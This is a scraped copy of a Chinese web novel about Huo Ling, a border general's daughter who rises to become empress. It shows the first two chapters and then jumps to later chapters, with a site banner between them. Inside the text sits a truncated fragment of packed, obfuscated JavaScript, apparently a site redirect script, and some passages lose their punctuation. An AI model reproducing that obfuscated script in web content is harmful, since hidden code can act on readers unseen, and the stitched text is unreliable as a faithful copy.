《权力是女人最好的医美》 1. 第一章 《权力是女人最好的医美》全本免费阅读 霍翎正在屋里练字,忽听前院传来一阵阵喧闹声。 她停下笔,用温水净了净手,问婢女无墨:“前头发生了何事。” 无墨刚从前院折返,满脸带笑:“老爷收到了前线的调令,这会儿大家正高兴着呢。” 霍翎有种尘埃落定之感,她提着裙摆迈过门槛:“走,随我一道去向爹爹道喜。” 前院。 霍世鸣坐在主位上,继室方氏坐在他身侧。 两人右下首还坐着个十二三岁的少年郎。 少年郎嘴里一个劲说着自己听来的边关趣事,不时还用手比划一下,逗得霍世鸣和方氏大笑不止。 余光扫见霍翎的身影,霍世鸣收起脸上笑意,正色道:“阿翎,你给为父出的主意果然有用,周将军已经同意了为父所请。” 霍翎先向霍世鸣和方氏行礼问安,又给弟弟霍泽还了一礼。 “恭喜爹爹得偿所愿。” 也不怪端方沉稳如霍世鸣,在收到前线调令后会如此失态。 早在前朝时,霍家就是有名的武将世家,领兵一方,权势显赫。 前朝末年,末帝昏聩无能,将北方大片国土割让给了契丹。其中也包括了霍家驻守的城池。 霍家先祖悲愤之下,毅然投靠本朝太||祖皇帝,襄助太||祖皇帝起事,因功封伯爵。 但就在三十年前,霍家犯了先帝忌讳,被削去爵位,贬到永安县驻守。 好在先帝顾念旧情,只是收走了霍家在京城的产业,并没有动其它财物。 靠着剩下的财物,霍家在永安县站稳了脚跟。 霍家落败的时候,霍世鸣已经记事。 他一直记着霍家以前的辉煌,这些年心心念念的就是光耀霍家门楣,让霍家重新回到权力中枢。 可因着昔日旧事,即使霍世鸣多番用钱财疏通,本人领兵作战的能力也不差,这么多年下来,也只混到了六品校尉的位置,手底下掌管着永安县三千兵马。 时日一久,霍世鸣免不了灰心,把大半精力都花费在培养儿子身上。 霍翎身为霍世鸣的长女,素来知晓霍世鸣的心事。 永安县位于大燕西部,是一座位在边境线上的边城。 与燕西接壤的游牧部落,名叫羌戎。 本朝初立时,羌戎畏惧大燕的兵锋,上书俯首称臣。 于是大燕在边境设立榷场与羌戎交易。 随着天下承平日久,羌戎愈发不安分,几次在羌人与燕人混居的地界挑起事端。 霍翎在查看自家店铺账本时,敏锐察觉到近两个月来,茶叶、青盐等必备物资的成交数量都大幅度上涨。 汇总各方信息后,霍翎得出判断—— 羌戎要叛了。 在霍翎的建议下,霍世鸣给行唐关副将周嘉慕写了一封信,又托人送上一笔重金。 也不知道是信上的推测打动了周嘉慕,还是那笔重金打动了周嘉慕。 总之,时隔半月,霍世鸣等来了回报。 “爹爹要被调去哪里?” 听到长女的问话,霍世鸣长长吐出一口气,压下自己的失态。 他将手中的调令递给霍翎:“被调去常乐县驻守。” 霍翎很为霍世鸣高兴:“这个地方不错。” 燕西之地共有十四座城池。 其中,永安县地理位置偏僻,不像常乐县,就位于行唐关后方。 行唐关自古以来就被称作“华夷之限”,具有屏障中原的重要作用。 一旦羌戎反叛,它将是阻挡羌戎入侵的第一道,也是最重要的一道防线。 常乐县距离行唐关不远,平时行唐关里的守兵要轮换修整,都是退到常乐县修整。 大战起时,需要运往前线的粮草也往往会在常乐县中转。 高兴之余,霍翎又免不了叹气:“看来羌戎确实要叛了。” 虽说她之前已经通过蛛丝马迹,猜到了这个结果,但那终究只是她个人的猜测。 如今周将军给霍世鸣安排了这么好的职位,分明是在酬霍世鸣之功。这恰恰从侧面证实了霍翎的猜想。 弟弟霍泽在一旁听得心惊,嘴巴大张:“什么?羌戎要叛了?我怎么没听人说起过?” 方氏也是刚刚知晓此事,反应却不慢:“傻小子,要是连你都从外面听到了风声,你爹哪里还能借此得到周将军的赏识。” 霍世鸣看向霍泽,叮嘱道:“管好嘴巴,别往外说。” 霍泽捂着嘴连连点头。 霍世鸣又重新看向霍翎,目光中不自觉带了几分思量。 以往霍世鸣就知道霍翎聪慧—— 能写出一手极好的字迹,能帮继母管理内宅,能督促弟弟上进努力,能打理好生母留给她的田产和店铺。 在经商方面也颇有独到之处,接手店铺不过两三年,店铺收益就翻了一番。 但这种聪慧,在霍世鸣看来,顶多就是小姑娘家家的手腕。 有了这样好的手腕,将来嫁了人,日子定然差不到哪里去。 直到羌戎这件事情爆发,霍世鸣才真正意识到,长女的能耐也许并非只止于内宅。 “阿翎。”霍世鸣的话语里多了三分慎重,“依你之见,羌戎何时会真正动手?” 霍翎早就在心里斟酌推敲过许久,霍世鸣一问起,她答得不假思索:“应该就在近日。” 霍世鸣面露沉思:“理由?” 霍翎拿起一个果子,剥开两半,将其中一半递给霍世鸣:“羌戎的实力远不如我朝,拖得太久,对他们没有好处。” 霍世鸣接过果子:“虽说羌戎一直在暗地里采买货物,但时日尚短,他们能这么快筹备好物资?” 霍翎眼眸微眯:“何须筹备齐全?” “只要熬过前期,战事进展顺利,羌戎就能以战养战。” 在场三人都被霍翎话中的煞气惊到了。 羌戎臣服得太久,以至于他们都有些忘了蛮夷本性,更忘了蛮夷作战的方式。 若真被羌戎长驱直入,燕西十四城,何处不是羌戎的补给? 半晌,霍世鸣长长吐出一口浊气,连手里的果子都忘了吃:“不错,羌戎根本不需要花太长时间备战。” 霍翎将最后一块果肉塞进嘴里,用帕子轻轻擦拭手指,连带着声音也显得慢条斯理。 “除了速战,羌戎还会追求速胜。” “羌戎的经济极度依赖榷场交易,尤其是羌戎的几个大部落,靠着榷场不知道赚取了多少利润。” “这一代羌戎首领,是个厉害人物。羌戎反叛,我朝势必关闭榷场。短时间内,凭羌戎首领的威望,还能压下那几个大部落的不满。” “但时日一长,战事不顺,人心必散。” 霍世鸣点头,他在战略上的眼光并不差:“他们最好的选择确实是速胜,携胜利之势反过来逼迫我朝和谈,让我朝承认他们的地位,允许他们建立政权。” 霍翎唇角弯起:“所以爹爹意识到常安县的重要性了吗?” 霍世鸣眼前一亮,拊掌笑道:“你竟是已想到了这一层。” 霍泽和方氏听得一头雾水,根本跟不上他们的谈话节奏。 “爹,你们在说什么?”霍泽忍不住问道。 霍世鸣瞥霍泽一眼,没好气道:“让你平日里多读兵书,多研究一下燕西局势。我从来没教过你阿姐这些事,她都能对羌戎有如此了解,你却连听都听不懂。” 训斥完了,霍世鸣还是让霍翎给霍泽解释。 霍翎温声道:“行唐关易守难攻。” “羌戎缺物资,也缺时间,他们要是在短时间内攻不下行唐关,你觉得他们会怎么做?” 霍泽恍然:“他们会攻打常安县,毁掉我们的后勤。” 霍世鸣的脸色总算和缓了些,还不算太迟钝。 方氏对这些都不感兴趣,她最关心的是:“你何时启程?” 霍世鸣:“明日去军营通知那帮兔崽子,后日一早就出发。” 方氏惊道:“这么快?” 霍世鸣:“宜早不宜迟。” 方氏却还是忧心忡忡:“你在永安县坐冷板凳时,我为你的前程忧心。现在有了上战场的机会,又担心刀剑无眼。” 霍世鸣摇摇头,满不在乎:“你们妇道人家就是爱瞎操心。” 霍翎出声宽慰:“母亲且放宽心。武将建功立业都在疆场,这也正是爹爹毕生所求。” “兴许爹爹这一去,不仅能为我们霍家挣出一个前程,还能为母亲挣出一个诰命来。” 霍世鸣哈哈笑道:“还是阿翎知我。” 方氏也知道机会难得,只好挤出笑颜,不扫丈夫的兴。 2. 第二章 《权力是女人最好的医美》全本免费阅读 天还未亮,霍家就热闹起来了。 不止霍家,永安县内,但凡有家人出征的人家,都早早燃起炊烟。 待到天光拂晓,霍世鸣吃过送别的饺子,翻身上马,前往军营整兵。 他甲胄披身,即使一夜未睡,也端的是神采奕奕,威风凛凛。 “爹爹看起来可真有气势啊。”霍泽目送着霍世鸣离开,对方氏感慨道。 方氏却有些走神,在霍泽又重复了一遍后,才胡乱应了两声,转身回屋休息。 “娘这是怎么了?” 霍泽奇怪:“爹前脚刚出门,她后脚就担心到魂不守舍的程度了?” 正暗自嘀咕着,脑袋突然被人轻轻拍了一下:“傻站在这干嘛呢,再不出门去学堂,你就要迟到了。” 霍泽瞠目:“阿姐,我担心爹爹担心到魂不守舍的程度,今天能不能容我告个假休息休息。” 霍翎:“……” 找借口就不能找个好点的吗。 爹前脚刚走,人都还没出永安县,有什么好担心的。 *** 霍世鸣出征不过几日,前线局势果然一触即发。 羌戎首领反叛,领兵五万攻打行唐关。好在行唐关早有准备,并未让羌人得逞。 但双方一交锋,羌戎兵锋之盛,还是让行唐关众将士震惊。 一时间,燕西十四城风声鹤唳,羌人与燕人混居的城镇更是一下子冷清了不少,许多大燕百姓都紧闭门户。 方氏这段时间心情不太好,即使霍泽刻意在她面前卖乖讨好,也没能使她展颜,不久就因为风寒入体病倒了。 “多谢大夫。” 霍翎亲自送大夫出府,又吩咐无墨跟着大夫跑一趟医馆取药。 刚要回府,身后传来少年清越的声音。 “阿翎妹妹。” 霍翎转身,望着不知何时出现在巷子尽头的少年。 方建白骑在黑色骏马上,许是刚刚疾驰过,气息微喘。 一缕没有束好的碎发斜飞过眼,映出他那双清湛温和的眼眸,让人忍不住赞一声好姿容。 “方表哥,你怎么过来了?” 方建白翻身下马,笑着拍了拍挂在马背上的药包。 “前段时间听说姑父出征了,我就想过来看看,但因着一些事耽搁了。” “正好今日得了闲,又听说姑母受了风寒,我爹娘就收拾了些药材,催我赶紧过来看看。” 霍翎迎他进府:“方舅舅、方舅母也太客气了。” 方建白牵着马,步伐略微放缓,与她并肩同行:“我知你能耐。府中有你帮衬,出不了什么乱子,但总要过来一趟才能安心。” 这话里,不免泄露出几分真正心绪。 霍翎一笑,只道:“知道你来了,母亲定然欢喜。不过她这会儿刚睡下,我先带你去厅堂喝杯茶,等母亲醒了再带你去探望她。” 方建白自然是客随主便,他顺着霍翎的话问:“我方才见你送大夫离开,大夫是怎么说的。” 霍翎:“大夫说,母亲除了染上风寒外,还有些郁结于心。要想尽早痊愈,还得看得开些。” 方建白讶异:“怎会如此,莫非是在担心姑父的安危?” 两人说话间,已来到了厅堂。 还没来得及坐下喝口茶水,无墨就空着手冲了进来:“小姐!好消息!天大的好消息!” 她冲得太快,险些刹不住车。 霍翎连忙伸手去扶她:“是不是爹爹有消息了?” 无墨一边喘着粗气,一边开口道:“我和陈大夫刚走到前面大街上,就碰到了过来报喜的士兵。” “就在三日前,羌戎派了两千精锐绕道偷袭常乐县,想要烧毁粮仓。好在老爷早有准备,不仅及时扑灭大火,保住粮仓,还将那股贼人全歼了。” 霍翎再淡定,这会儿脸上也满是喜色。 她猜到羌戎会烧毁粮仓,也与爹爹提前知会过,但爹爹能取得如此完美的战果,还是让人十分意外的。 方建白也拍案叫好,仔细询问起其中细节。 无墨哪里知道细节啊,她说的这些都是从传信士兵那里听来的,险些被方建白问得一脑门汗。 有了这么个好消息,也顾不上打扰方氏午睡了,霍翎和方建白直接去后院道喜。 方氏见到方建白,果然十分欢喜,又听说了这样的好消息,挣扎着就要坐起。 方建白连忙上前搀扶,又往方氏腰间塞了个软枕,让她坐得更舒服些,嘴里安慰道:“姑父不仅平安无事,还立下这样的大功。姑母这下可以放宽心好好养病了。” 见方建白这般体贴周全,方氏心中又酸又涩。 这段时间以来,她心情不好,只有一小部分是在担心丈夫。更多的,还是丈夫临行前说的那番话。 年初那会儿,方家上门拜年,丈夫还是很满意建白这个孩子的,也很乐意再与方家亲上加亲。 不过数月功夫,丈夫对于这门亲事,却迟疑了。 还能是因为什么? 不就是看阿翎能耐大了,觉得让阿翎嫁去方家不值吗! 娘家被丈夫这样对待,方氏心中的难过可想而知,但这种埋怨无法述之于口,更不可能告诉娘家,影响两家和睦。 这会儿听到方建白这么说,又瞧见站在后面的霍翎,不知怎么的脑子一热。 “你姑父总想着上战场建功立业,我是妇道人家,比起光宗耀祖,更希望他能平平安安的。当时阿翎让他给周将军写信送重金,我就觉得不妥。” “哪里有人上赶着花钱,只为了找个机会去前线打仗受罪的?” 方建白对这件事情也略有耳闻。他有些尴尬地瞥了霍翎一眼,帮方氏找补:“要不是听了阿翎妹妹的话,姑父怎么能立下大功呢?” 听到侄子维护霍翎,方氏反倒愈发恼了:“我说的是,送信就够了,没必要送那笔重金。你是不知道那笔钱有多少。” “姑母。”方建白无奈,却也不好让方氏这么误会霍翎,“你就不好奇我这段时间怎么都没空过来吗?” 被方建白这么一打岔,方氏的思绪也不免跟着他的话走:“是啊,你以往来得勤,今儿怎么两个月都不见人影?” 原来这段时间,方建白奉命去剿匪。 那两伙山贼在山道间盘踞多时,早已成了气候,又个个都是见过血的凶悍之徒,方建白却在不损一兵一卒的情况下将他们一网打尽。这会儿已经晋升为了都头,手底下领着一百来号人。 方氏听得连连点头,还下意识扫了几眼站在后面的霍翎:“哎呦,这可真是了不得啊。” 霍翎眉梢微挑,觉出了些端倪。 方建白继续道:“我还没说完呢。因着这次表现不错,姑父还帮我争取到了一个机会。” 方氏微愣,心头流淌过一丝暖意。 丈夫终究还是记得提携她娘家的。 “什么机会。” 即使周围并无外人,方建白依旧压低声音。 “听说是有位贵人要来前线督战,行唐关周将军担心那位贵人的安危,想要多调一些人去护卫那位贵人。” “姑父向周将军举荐了我,周将军已经同意了。” 方氏顿时欢喜:“这可真是十分体面的好差事啊。” “可不是嘛。”方建白笑,“姑母你想想,姑父要是只给周将军送了信,没送那笔重金,周将军怎么会如此给姑父面子。” 方氏真是又气又好笑,原来这是在拐着弯儿给阿翎解释呢。 “行了行了,我也不是埋怨阿翎,只是觉得这孩子手头太松,每年都求着她爹拿钱设粥棚、修桥修路,她爹也是个宠孩子的,阿翎一说就同意了。” “建白,你到了前线,一定要好好表现,若是能借此入了贵人的眼,得了贵人的赏识就更好了。” “多立些功劳,才能让人刮目相看。等你从前线回来,才好张罗你的婚事。” 几句话的功夫,方氏就想通了。 方家的门第,确实是比霍家低一些。不然当初她也不会嫁给霍世鸣当续弦。 但结亲一事,又不是完全看门第。 建白本就出挑,又得了这样的好差事。她就不信阿翎这样聪慧的姑娘家,会不选建白,反倒看上其他歪瓜裂枣。 方建白听到“婚事”二字,下意识想要去看霍翎,又担心这个动作太过失礼冒犯。 他犹豫了会儿,才扭头望去,却发现那道始终安静站着的身影,已不知何时离去了。 霍翎正站在庭院里透气,顺便思考着方建白那番话。 那短短一番话里,透露出来的信息量可不少。 正如方建白所言,她爹能向周将军举荐人,周将军还采纳了,这足以说明她爹和周将军相处融洽。 当然,霍翎最关心的,还是那位要来前线督战的贵人。 初冬的阳光总懒洋洋的,晒在身上没什么温度,只能用那点儿光亮来哄骗人。但寒冬难耐,能骗骗人也是好的。 方建白寻过来时,看到的就是这样一幕: 天光从阴云中洒落,穿透冰凉薄雾,目光所及处一片浮尘。 霍翎一袭红裙,乌黑长发被一根红色发带拢在耳后,又顺着肩颈的柔软弧度,与细长发带一道垂落。 微风吹过衰败庭院,尾端绣着一片黑色轻羽的发带在风中摇曳,宛若天地间唯一一抹亮色,不受尘埃侵染。 方建白生怕惊扰到她,脚步连同呼吸一起放轻。 可霍翎还是听到了动静,回眸看去。 方建白呼吸一窒:“我代姑母向你道歉。” 霍翎:“无妨,我并未放在心上。” 望着霍翎清冷如白玉的面容,方建白知道,她说的都是真心话。 “那就好。” 方建白苦笑。 他也不知自己为何苦笑。 阿翎不计较,分明是好事啊。 ……可是,他与她青梅竹马一起长大,却极少见过她失态,更从未见过她动怒。 她美丽得就像一朵天上富贵花,这样惊心动魄的美貌,常常让凝望她出神的人发自内心困惑:荒凉贫瘠如燕西之地,是如何滋养出这样娇艳明丽的美人。 而比她的美貌更不真实的,就是她这个人。 明明近在咫尺,触手可及,方建白却时常觉得她像一阵风。 飘忽不定,琢磨不透,只是无意间吹过燕西十四城,注定不可能长久属于这里。 在长辈面前,他已经稳重可靠;在下属面前,他已经足够威严。 唯独在她面前,他只是莽撞少年郎,想要靠近,又怕唐突。 *** 方建白只有一日假期,明日一早就要启程赶赴前线。他在霍府用过午饭,匆匆告辞。 霍翎本想回屋睡个午觉,但打开柜子换衣服时,瞥见了那把压在箱底的崭新弓箭。 她对无墨道:“自从爹爹出征后,我们就没怎么出过门。不如趁着这会儿天气好,出门打猎吧。” 身为武将的女儿,又自幼在民风剽悍的燕西长大,霍翎也是学了些拳脚功夫的。 不过她学武只是强身健体,真正感兴趣的还是骑射。 她在这上面也有天赋,久而久之,霍翎这一手骑射比霍世鸣都要精湛。 出了城门,霍翎和无墨沿着官道一路向东。那里有片山林,是霍翎最常去的打猎场所。 抵达目的地,霍翎从身后取下弓箭,握在手里。 无墨这才注意到霍翎换了把新弓。 “小姐,我怎么没见过这把弓箭。” 霍翎抚摸着这把用梨花木制成的弓箭,神情温柔。 “这是爹送给我的十六岁生辰礼,收到之后我一直没机会拿出来用。” 无墨不认识梨花木,但这不妨碍她判断一把弓箭的好坏。 “这把弓箭一看就不是凡品,老爷肯定准备了很久吧。” 霍翎不由一笑。 无墨见她笑了,也跟着笑起来,打趣道:“小姐,表少爷方才单独找你,跟你说了什么啊?” 这也没什么好隐瞒的,霍翎道:“他代母亲向我道歉。” 无墨叹气:“表少爷真是一个明事理的人。” 霍翎莞尔,假装没听出来无墨是在吐槽方氏。 “那你们还聊了别的吗?”无墨脸上满是八卦之色。 霍翎摇头:“也没什么了,就是些注意安全之类的话。” 无墨大失所望:“就聊这些?” 霍翎:“那你以为呢?” 无墨小声道:“表少爷对小姐的情谊,谁看不出来啊,他这回也不知道要去多久……而且我看老爷夫人也一直有意撮合你们,所以我以为……” “你说错了。”霍翎从箭筒里摸出一支白色箭羽,“母亲确实是有意撮合,爹爹那边,就未必了。” 无墨诧异,但她了解自家小姐,极少说没把握的话:“这是为何?” 霍翎:“也许是因为,爹爹突然看到了我的好吧。” 无墨瞪大眼睛,更加难以理解。 小姐的好,不是谁都能看出来的吗。 只是,她能拐着弯吐槽下夫人,却不好过多置喙父女之间的相处。 “那小姐是怎么想的呢。这桩婚事能不能成,小姐你的心意才是最重要的。” 马蹄踏过枯枝败叶,接连发出脆响。霍翎沉默,似乎是在思考该回答这个问题。 过了好一会儿,她才开口,却答非所问:“如果方表哥真成了你姑爷,你觉得怎么样?”
更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 如果这件事情没有暴露,没有被景元帝知晓,也许还没什么,但偏偏暴露了,偏偏被景元帝知晓了,那就不能怪景元帝猜疑、防备,甚至出手打压他们的气焰。 “陛下若只是为了警告端王和柳国公府,那立皇贵妃已经足够。” “等以后寻到机会,再立后也不迟。” 文盛安也乐得看到端王和柳国公府收敛,却还是不愿影响到季渊晚的地位,继而影响到前朝后宫的局势。 景元帝沉默了下。 这一回,他没有从朝堂的利益角度分析,而是轻叹一声,道了实话:“朕知道文卿在顾虑什么。只是,朕也有朕的考虑。” “这一回,若郡君以皇贵妃之位进宫。等几年后,渊晚那孩子的地位愈发稳固,就更无立后的可能。” “唯一的机会,就是她孕育皇嗣,诞下皇子。” 说到这儿,景元帝看着下首的文盛安,语气不轻不重,甚至能隐约听出几分笑意:“文卿 可还记得 文盛安心下一沉他当初就是用景元帝无子来劝说景元帝。 现在又要让景元帝先退一步等郡君有孕再进一步那岂不是前后矛盾。 而且最重要的是文盛安从这话里听出了敲打之意。 景元帝不仅仅是想通过立后一事来敲打端王一系也是想趁机敲打他们这些人。 为国朝安定计景元帝可以同意择选宗室子将宗室子养在皇宫里。 但单单为了巩固季渊晚的地位就反对立霍翎为后景元帝绝对不会接受这个理由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑新觉道:“我是奉家母之命,给郡君送些温补的药材。” 据郑新觉所言,他的母亲与霍翎的母亲在未出阁前是手帕之交。 这回郑母没跟着去猎场。等他回京以后,郑母听说霍翎受伤之事,就备了些温补的药材,让他赶紧给霍翎送来。 两人的母亲到底有没有交情,霍翎也不清楚,不过她还是收下了郑新觉的药材。 目的达成,郑新觉没有久留,喝完一杯茶水就起身离开。 “郑世子这是何意?” 无墨查看了下那些药材,大都是些温补滋养的名贵药物,价值不菲。 霍翎道:“应该是来跟我示好。” 如今朝中勋贵势力依旧强大,但不是所有勋贵府邸都能世代尊荣。 像霍家,以前也算是朝中数得上号的勋贵,最终因战败一事落得个除爵贬官。 靖国公府没有霍家那么惨,却也是落寞了。空有公府的名头,但靖国公在朝中只是个六品小官。 霍翎估摸着,靖国公府接下来应该会旗帜鲜明地支持她成为皇后。 这应该也是景元帝希望看到的局面。 端王一系的船再大,能上船分润利益的也只有少部分人。 剩下那些想分润利益却无船可上的人,都是可以被她撬动的力量。 靖国公府是第一个来投石问路的,却不会是最后一个。 *** 七月渐深,又是十天一次的大朝会。 朝堂上终于不只是反对立后的声音,也开始有支持立后的声音响起。 你说襄安郡君出身不行? 霍家如今是没落了,但祖上可是前朝时期的名将霍正思,这族谱能往上追溯好几百年,这也叫出身不好? 你说襄安郡君的祖父是被先帝贬去永安县,景元帝立襄安郡君为后就是提拔霍家,就是不顾先帝的旨意。 先帝都没有说过不能立霍氏女为后,朝臣却妄自揣测先帝的想法,莫非先帝给你托个梦? 至于功绩?名望? 请封折子的内容犹在耳畔回响,拿这个来攻讦就更站不住脚了。 …… “立谁为皇后是陛下的家事。” “陛下若要纳一个妃嫔,即使是纳为皇贵妃,也是陛下的家事。但立后,事关社稷,此乃国事。” …… 两方相争不下,靖国公和兵部右侍郎吵得几乎要打成一团。 直到文盛安亲自出列,呈上立后奏表。 景元帝御览奏表,微微一笑,一锤定音:“朕准了。” “册后的诏书,便由文卿起草,代朕昭告天下。” 作者有话要说 第 51 章 燕西故人的反应。 以文盛安为首的中间派当朝倒戈,景元帝的意思又表现得如此明显,继文盛安之后,百官上表,请立中宫。 文盛安奉命拟写册立诏书,景元帝亲自盖上玺印。 当立后诏书送到郡君府时,霍翎正在给靖国公夫人准备礼物。 不管两家以前有没有交情,但靖国公世子亲自登了门,她也需要有所表示,告诉靖国公府:她承了他们的情。 刚收拾出几匹合适的料子,就见无墨匆匆跑了过来:“小姐,宫里来人了,瞧着阵仗极大。” 今日是大朝会,宫里这时候来人,已经不做他想。 霍翎命人将这几匹料子送去靖国公府,就带着无墨匆匆去了厅堂。 厅堂里,李满和崔弘益已在候着了。 两人原就是与霍翎相熟的,以往见面,笑容里都透出十足的亲热劲。这一回见面,除了亲热外,还添了几分恭谨。 这是霍翎第三次见到圣旨。 从册封郡君的圣旨,再到入京前天子赏赐府邸的圣旨,最后,是这一道册立皇后的圣旨。 她的人生,在短短一年内,因这三道圣旨,实现了翻天覆地的变化。 华丽的赞美,庄严的宣告,那卷《洛神赋》代表着帝王的迎娶之意,而这道昭告天下的圣旨,代表着的,是她即将成为大燕的皇后。 即使早就做好了心理准备,当霍翎真的握住了这道圣旨,她还是难掩激动。 从此刻起,她终于能亲眼领略皇权之上的风景。 “恭喜皇后娘娘。” 李满第一个出声贺喜。 崔弘益也连忙跟上:“今儿大朝会上,百官上表请立皇后的场面不知道有多壮观,可见娘娘成为皇后是众望所归。” 霍翎也忍不住露出笑容,询问他们立后的章程。 李满对这个干儿子还是很够意思的,朝崔弘益使了个眼色,让崔弘益好好为霍翎介绍一番。 崔弘益心下一喜,认真介绍道:“册后大典要祭祀天地先祖,需由钦天监算出吉日吉时,再由礼部制定章程,内务府那边也需修葺凤仪宫、为陛下准备聘礼。” 霍翎听了一会儿,就心中有数了。 立后的流程十分繁琐庄重,三媒六聘都要走一遍,不过真正需要她参与 进去的并不多。有什么事情宫里都会派人过来。 送走李满和崔弘益霍翎握着圣旨又重新看了一遍视线落在右下角的朱红色玺印上。 “小姐。”无墨的声音从门口传来。 霍翎抬头却见无墨身后还站着一人。 白龙鱼服正是景元帝。 “陛下?”霍翎诧异快步走到景元帝面前“陛下怎么出宫了?” 景元帝握住霍翎的手:“有些时日没见你了。朕之前不是答应你要陪你去大相国寺还愿吗正好今日有空。” 霍翎笑道:“我还以为陛下忘记了。” 景元帝道:“朕答应了就不会忘。马车已在外边候着了我们走吧。” 霍翎将圣旨转交给无墨让无墨赶紧拿去放好。 “陛下我真高兴。”她这么说着欢喜几乎要从眼角眉梢流淌出来“您高兴吗?” 景元帝被霍翎这股喜悦所感染神情也愈发柔和:“高兴。” 他问道:“方才怎么一直在看圣旨。” 霍翎道:“崔内侍和我说今儿大朝会上百官上表请立中宫我在想那副场面有多壮观。” 景元帝笑了一下道:“册后大典那天百官朝拜皇后的场面会更壮观。” 霍翎设想了一番那副场景笑得更开心了说起另一个自己很关心的话题:“陛下我想让我家里人进京观礼。” 方氏和霍泽可以随时进京但霍世鸣有官职在身又是驻守一方的边境武将无诏不可轻离。 想让霍世鸣进京观礼还是得由景元帝亲自下旨。 *** 与此同时柳国公府一片死寂。 书房里端王、端王妃、柳国公、柳国公世子相对而坐。 几人的心里都是五味杂陈。 终究还是没能阻止陛下立后。 而失败的苦果他们必须咽下。 柳国公久经官场是几人里恢复得最快的一个。他抬手轻敲桌面吸引了余下三人的注意力。 “我们之前做的事情太多了已经犯了陛下忌讳。” 在端王一系高歌猛进之时就连柳国公也被权力蒙蔽了眼睛一心发展壮大手头的势力。 但当他们开 始受挫,高歌猛进的势头戛然而止后,柳国公的理智终于压住了对权力的追逐渴望。 柳国公看向端王:“燕西那边,除了周嘉慕,王爷安排的其他人手都撤出来吧。” 那是端王忙活了大半年才安插进去的人手,但这会儿,端王没有一丝心疼,果断应好。 “周嘉慕不用动吗?”端王再次确定。 柳国公摇头:“不用。” “周嘉慕虽是我们的人,但他这些年立下的军功都是实打实的。只要我们把其他人都撤走,应该可以保住周嘉慕的位置。” 行唐关主将这个位置实在太重要了,只要能保下来,就算它已经变成了一张明牌,也没关系。 随后,柳国公又看向面容憔悴的端王妃,似劝慰,似警告。 “阿乔,以后除非必要,别让渊晚那孩子回端王府了。他待在王府的时间太多了些。” 端王妃唇角发苦,却也只能应是。 柳国公继续道:“还有,渊晚在宫里,一定要对皇后毕恭毕敬,不能有半分失礼。你明白了吗。” 端王妃咬紧牙关,再次挤出一声“好”:“要是霍氏女……” 在柳国公的凝视下,端王妃默默改口:“要是皇后对渊晚动手……” 柳国公摆摆手:“我倒是希望她对渊晚下手。” “之前是我们小瞧了她。一个能在这么短时间内,就让陛下封她为后的女人,不会做出这种自掘坟墓的事情。” 柳国公世子有些不甘心:“那我们接下来真的什么都不做吗?” 在整件事情里,柳国公最不满意的就是这个长子。 瞧着长子到现在都没能放下心里那点成见,柳国公语气顿时加重。 “立后一事,就是陛下对我们的敲打。” “记住,一动不如一静,接下来我们必须蛰伏一段时间,适当牺牲一部分利益,减轻陛下对我们的成见。” 柳国公世子听他爹那意思,好像不只是要撤走燕西的人手:“我们还要做什么。” 柳国公叹了一声:“过几天,兵部右侍郎会自请外放。” 谁都知道,兵部右侍郎是在为端王和柳国公府冲锋陷阵。 如今兵部右侍郎请求外放,既削弱了柳国公在朝中的威望, 也削弱了柳国公在兵部的力量。 “要是陛下还觉得不够……” 柳国公看向柳国公世子:“你娘的身体一直不大舒坦,让你两个弟弟上书侍疾吧。” 柳国公世子一惊:“这……这至于吗?” 柳国公平静道:“无妨,你两个弟弟的职务本就不高,不会让我们伤筋动骨。” 这种行为,更多的,还是在向景元帝表明态度。 该断尾保全时,就不能当断不断。 只要他和端王一直在朝堂上,只要季渊晚一直被养在皇宫里,只要陛下始终没有生出亲子…… 日后之事,谁又能说得准呢。 事情商谈到这里就差不多了,端王起身告辞,询问的目光落在端王妃身上。 端王妃面无表情:“我想在柳国公府住几天,王爷自己回王府吧。” 端王抿了下唇,朝柳国公和柳国公世子打了声招呼,独自离去。 端王妃也行一礼,回后院去找柳国公世子夫人。 柳国公看着他们的互动,忍不住揉了揉眉心。 经过这段时间的事情,原本还算恩爱的夫妻两,已经生出了无数隔阂。 柳世子低声道:“我让阿乔她娘多劝劝她。他们这么僵着也不是个事。” 柳国公点头:“也只能这样了。” 柳世子又换了个话题:“今儿中午,何家来人了,是代何泰过来传话的。爹,你说我们要不要出手救何泰?” 柳国公冷冷盯着柳世子。 想到柳国公方才说的“一动不如一静”,柳世子尴尬道:“何泰手里,毕竟有账本。” 柳国公思索了下,也没把话说死:“再看看吧,如果有机会,我当然会救。” “但若是陛下心意已决,那也怪不了我。看在账本的份上,我会保他儿孙前程。” *** 自景元帝答应要立霍翎为后,霍翎就给霍世鸣去了一封家书。 因信里没有急事,这封信是通过官府驿站送回燕西的。 等信送到常乐县时,已是十日以后。 霍世鸣巡视了一遍军营,刚回到自己的营帐,就见孙裕成笑着迎上前来,手里还握着一封包裹得严严实实的书信。 “将军,京师那边 来信了。 霍世鸣喜上眉梢:“来,让我瞧瞧。 他说着抱怨的话,语气里却满含亲昵:“你说说,这孩子也真是的,去了京师那么久,只在一开始给我写过两封信报平安,都不知道她在忙些什么。 孙裕成笑着附和:“孩子都是这样的,远行在外,不知道爹娘在家里有多操心。 “你快看看阿翎都写了些什么,她这一去,有三个月了吧。也不知道她和端王殿下的婚事定下来了没有,怎么到现在都没有音讯。 这也正是霍世鸣的心事。 霍世鸣撩开帐篷,进屋坐下,取出信纸。 刚扫了几眼,霍世鸣的身形顿时僵在原地。 孙裕成也跟着走进帐篷,想要跟霍世鸣讨杯茶水喝,刚好瞧见霍世鸣这副丢了魂的模样。 “阿翎在信上都说了些什么? 霍世鸣张了张嘴,声音干涩:“阿翎跟我说…… “天上掉馅饼了…… 孙裕成:“啊? 霍世鸣枯坐在原地,目光呆滞地望着手里的书信,连孙裕成在旁边跟他说了什么都没听清。 当初霍翎托他调查景元帝的过往时,他心中就升起了一个荒谬的猜想。 但那个想法实在太难以置信了,霍世鸣没敢跟任何人提起,甚至没有向霍翎求证过。 一直到现在,霍翎的信证实了他的猜想,还附带了一个超乎他想象的巨大惊喜。 